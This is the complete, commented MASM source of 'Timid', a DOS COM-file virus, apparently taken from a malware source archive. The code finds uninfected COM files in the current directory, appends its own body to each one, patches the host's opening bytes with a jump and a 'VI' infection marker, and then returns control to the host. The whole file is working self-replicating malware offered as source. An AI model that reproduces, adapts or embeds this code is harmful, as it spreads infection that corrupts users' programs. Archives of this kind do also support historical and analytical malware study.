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MalwareSourceCode/MSDOS/T-Index/Virus.MSDOS.Unknown.timid1.asm

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;This program is a basic virus that infects just COM files. It gets the first
;five bytes of its host and stores them elsewhere in the program and puts a
;jump to it at the start, along with the letters "VI", which are used to
;by the virus to identify an already infected program.
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
;This is a shell of a program which will release the virus into the system.
;All it does is jump to the virus routine, which does its job and returns to
;it, at which point it terminates to DOS.
HOST:
jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly
db 'VI'
mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
VIRUS: ;this is a label for the first byte of the virus
COMFILE DB '*.COM',0 ;search string for a com file
VIRUS_START:
call GET_START ;get start address - this is a trick to determine the location of the start of this program
GET_START: ;put the address of GET_START on the stack with the call,
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
mov dx,OFFSET DTA ;put DTA at the end of the virus for now
mov ah,1AH ;set new DTA function
int 21H
call FIND_FILE ;get a com file to attack
jnz EXIT_VIRUS ;returned nz - no file to infect, exit
call INFECT ;have a good COM file to use - infect it
mov dx,OFFSET FNAME ;display the name of the file just infected
mov WORD PTR [HANDLE],24H ;make sure the string terminates, put '$' after it
mov ah,9
int 21H ;display it
EXIT_VIRUS:
mov dx,80H ;fix the DTA so that the host program doesn't
mov ah,1AH ;get confused and write over its data with
int 21H ;file i/o or something like that!
mov bx,[VIR_START] ;get the start address of the virus
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes
mov WORD PTR [HOST],ax ;of the COM file to their
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file
mov WORD PTR [HOST+2],ax
mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file
mov BYTE PTR [HOST+4],al
mov [VIR_START],100H ;set up stack to do return to host program
ret ;and return to host
START_CODE: ;move first 5 bytes from host program to here
nop ;nop's for the original assembly code
nop ;will work fine
nop
nop
nop
;--------------------------------------------------------------------------
;Find a file which passes FILE_OK
;
;This routine does a simple directory search to find a COM file in the
;current directory, to find a file for which FILE_OK returns with C reset.
;
FIND_FILE:
mov dx,[VIR_START]
; add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it
mov cx,3FH ;search for any file, no matter what the attributes
mov ah,4EH ;do DOS search first function
int 21H
FF_LOOP:
or al,al ;is DOS return OK?
jnz FF_DONE ;no - quit with Z reset
call FILE_OK ;return ok - is this a good file to use?
jz FF_DONE ;yes - valid file found - exit with z set
mov ah,4FH ;not a valid file, so
int 21H ;do find next function
jmp FF_LOOP ;and go test next file for validity
FF_DONE:
ret
;--------------------------------------------------------------------------
;Function to determine whether the COM file specified in FNAME is useable.
;if so return z, else return nz.
;What makes a COM file useable?:
; a) There must be space for the virus without exceeding the
; 64 KByte file size limit.
; b) Bytes 0, 3 and 4 of the file are not a near jump op code,
; and 'V', 'I', respectively
;
FILE_OK:
mov dx,OFFSET FNAME ;first open the file
mov ax,3D02H ;r/w access open file, since we'll want to write to it
int 21H
jc FOK_NZEND ;error opening file - quit and say this file can't be used
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;next read 5 bytes at the start of the program
mov dx,OFFSET START_IMAGE ;and store them here
mov ah,3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah,3EH
int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host
add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it
jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K
cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code?
jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set
cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4?
jnz FOK_ZEND ;no, file can be infected, return with Z set
FOK_NZEND:
mov al,1 ;we'd better not infect this file
or al,al ;so return with z reset
ret
FOK_ZEND:
xor al,al ;ok to infect, return with z set
ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the COM file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored
;in memory.
;
INFECT:
mov dx,OFFSET FNAME ;first open the file
mov ax,3D02H ;r/w access open file, since we'll want to write to it
int 21H
mov WORD PTR [HANDLE],ax ;and save the file handle here
xor cx,cx ;prepare to write virus on new file; positon file pointer
mov dx,cx ;cx:dx pointer = 0
mov bx,WORD PTR [HANDLE]
mov ax,4202H ;locate pointer to end DOS function
int 21H
mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write
mov dx,[VIR_START] ;ds:dx = place in memory to write from
mov bx,WORD PTR [HANDLE] ;bx = file handle
mov ah,40H ;DOS write function
int 21H
xor cx,cx ;now we have to go save the 5 bytes which came from the start of the
mov dx,WORD PTR [FSIZE] ;so position the file pointer
add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;and use DOS to position the file pointer
int 21H
mov cx,5 ;now go write START_CODE in the file
mov bx,WORD PTR [HANDLE] ;get file handle
mov dx,OFFSET START_IMAGE ;during the FILE_OK function above
mov ah,40H
int 21H
xor cx,cx ;now go back to the start of host program
mov dx,cx ;so we can put the jump to the virus in
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;locate file pointer function
int 21H
mov bx,[VIR_START] ;calculate jump location for start of code
mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9
mov ax,WORD PTR [FSIZE] ;and then the relative address
add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area
mov WORD PTR [START_IMAGE+1],ax
mov WORD PTR [START_IMAGE+3],4956H ;and put 'VI' ID code in
mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE
mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE
mov bx,WORD PTR [HANDLE] ;file handle
mov ah,40H ;DOS write function
int 21H
mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack
mov ah,3EH ;and close file
int 21H
ret ;all done, the virus is transferred
FINAL: ;label for last byte of code to be kept in virus when it moves
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus
;Note: 212 = FFFF - FF2A - 1 = size of data space
; $ gives approximate size of code required for virus
ORG 0FF2AH
DTA DB 1AH dup (?) ;this is a work area for the search function
FSIZE DW 0,0 ;file size storage area
FNAME DB 13 dup (?) ;area for file path
HANDLE DW 0 ;file handle
START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file
VSTACK DW 50H dup (?) ;stack for the virus program
VIR_START DW (?) ;start address of VIRUS (overlays the stack)
MAIN ENDS
END HOST
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